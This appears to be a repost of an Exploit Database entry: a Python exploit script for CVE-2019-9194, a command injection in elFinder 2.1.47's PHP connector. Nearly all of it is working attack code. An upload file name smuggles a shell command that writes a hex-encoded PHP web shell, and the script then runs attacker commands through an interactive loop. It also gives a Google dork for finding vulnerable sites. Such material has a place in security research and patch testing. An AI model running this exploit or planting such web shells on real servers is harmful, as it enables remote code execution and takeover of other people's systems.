elFinder 2.1.47 – ‘PHP connector’ Command Injection

• Exploit Database
• 14 阅读

• 作者： q3rv0
  日期： 2019-03-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46481/

• #!/usr/bin/python
  
  '''
  # Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
  # Date: 26/02/2019
  # Exploit Author: @q3rv0
  # Vulnerability reported by: Thomas Chauchefoin
  # Google Dork: intitle:"elFinder 2.1.x"
  # Vendor Homepage: https://studio-42.github.io/elFinder/
  # Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
  # Version: <= 2.1.47
  # Tested on: Linux 64bit + Python2.7
  # PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
  # CVE: CVE-2019-9194
  
  # Usage: python exploit.py [URL]
  
  '''
  
  import requests
  
  import json
  
  import sys
  
  
  payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
  
  
  def usage():
  
  if len(sys.argv) != 2:
  
  print "Usage: python exploit.py [URL]"
  
  sys.exit(0)
  
  
  def upload(url, payload):
  
  files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
  
  data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}
  
  r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
  
  j = json.loads(r.text)
  
  return j['added'][0]['hash']
  
  
  def imgRotate(url, hash):
  
  r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
  
  return r.text
  
  
  def shell(url):
  
  r = requests.get("%s/php/SecSignal.php" % url)
  
  if r.status_code == 200:
  
   print "[+] Pwned! :)"
  
   print "[+] Getting the shell..."
  
   while 1:
  
   try:
  
   input = raw_input("$ ")
  
   r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
  
   print r.text
  
   except KeyboardInterrupt:
  
   sys.exit("\nBye kaker!")
  
  else:
  
  print "[*] The site seems not to be vulnerable :("
  
  
  def main():
  
  usage()
  
  url = sys.argv[1]
  
  print "[*] Uploading the malicious image..."
  
  hash = upload(url, payload)
  
  print "[*] Running the payload..."
  
  imgRotate(url, hash)
  
  shell(url)
  
  
  if __name__ == "__main__":
  
  main()